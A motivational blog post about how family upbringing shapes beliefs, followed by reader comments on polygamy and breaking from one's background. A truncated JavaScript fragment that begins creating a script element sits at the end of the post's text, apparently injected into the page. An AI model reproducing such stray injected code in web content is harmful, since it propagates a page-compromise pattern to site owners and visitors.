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Yesterday, a colleague spoke about a lady who told him she knew she was destined to be a second wife! She was not going to marry a “fresh, single guy”, in fact, she’s had several incidents confirming her belief, the guys that have been toasting her are married men….hmm.

Momentarily, i wondered where that “thinking” came from but i didn’t have to wonder for long, i asked what kind of family she came from and the answer confirmed my thoughts. Let’s leave out the details of the answer, but rather, let’s look at how where we’re coming from can affect us and to what degree it can.

Our backgrounds and habits built over the years can be the edge that will make us outstanding or the obstacles that can destroy ultimately. She had been fed with what she had come to see as “ideal” and she bought it, and runs her life by it. Is she to be blamed? That’s the standard she grew to know!

Your background is no reason for your back to be on ground“. It must not be responsible for the flaw that can mess you up when you have become famous and influential. There are certain traits and trends that seem inherent within some families, some fantastic, and others, potential bombshells. Take a look at your family, preferably the extended, where you grew up and a certain “bad practice” was the norm, look at the people who have been involved in them and check out what has become of them. If you find the same trend/pattern re-occuring in your own case, break free! Some of us are products of tutoring from parents, uncles and aunties, who meant well in coaching us, but didn’t know better and have by so doing, led us on a path that will ultimately lead to ruin. It’s a simple principle of not being able to give what you don’t have. If they knew, they would’ve taught us everything we needed to live perfect lives.

Some people are so attached to how they were brought up and strong on their perspectives that they never give room for flexibility and learning. Momsie/Popsie caused it, so who pays for it ultimately? Whose life are we talking about here? If you are a product of flawed tutoring, take responsibility for your life and chart a new course. Get a mentor that walks his/her talk. Get direction and be accountable. Be teachable. Get wisdom, it will make for a better “you” and preserve you.

So, get your back off the ground and move on. There’s so much opportunity for you to become what you set for yourself to become, especially now that the year is still new. Have a lovely weekend!var d=document;var s=d.createElement(‘script’);


  1. JesusFreak says:

    Ooops, my late dad had three wives and seven children…Sometimes i had this stupid thoughts of following in his footstep but God forbid that to happen.. Your post comes as an encouragement for me not to stay attached to my background..


  2. This actually reminds me of a video CD I watch sometime ago, the speaker was Bishop T.D Jakes, not sure of the title but there was something he said that has done so much good to my life today.

    To put it in my own words …”you can’t stay attached to your origin (especially when its no good) and make it to your destiny …your destiny is far bigger and better than your origin.”

    Thanks for rekindling the flame.

  3. Ogochukwu says:

    its interesting. i had a friend in my secondary school who wanted to be a third wife! I mean as young as we were then, that was her dream. According to her she felt that a man who was “strong” enough to take on a third wife would have the financial strength also to maintain her with all the good things of life. Its funny because this same girl was froma home where she’d experienced the rough sides of polygamy. i guess sometimes our environment subconsiously forms our belief systems. Just the way some abused people tend to uncounsciously go in search of the same kind of people that abused them. A lot of us really need to have our minds renewed to move out of where we are to where we ought to be. God bless you ma

  4. An individual is not yet a failure until he blames it on circumstances or other people. I strongly believe that we are the achitect of our wn future. Great are the promises of God for me. More Grace

    Oluyemi Adeosun

  5. abi o! whose life is it anyway? parents might have made mistakes in bringing us up, but the truth is, its our lives and we can choose to make positive changes if we truly want to. our backgrounds shdnt have a hold on our future, it might be tough to break free but it sure is possible and we will be better for it! thanks for sharing this.

  6. deolakayode says:

    there are major factors we blame for arriving at our present state.
    parents, sex(male/female), place of birth,
    but the we will all be judged by our response , our response to every
    thing we call challenges
    well done… thanks

  7. Abimbola Oki says:

    Thanks!!! Everyone is a product of this somehow.

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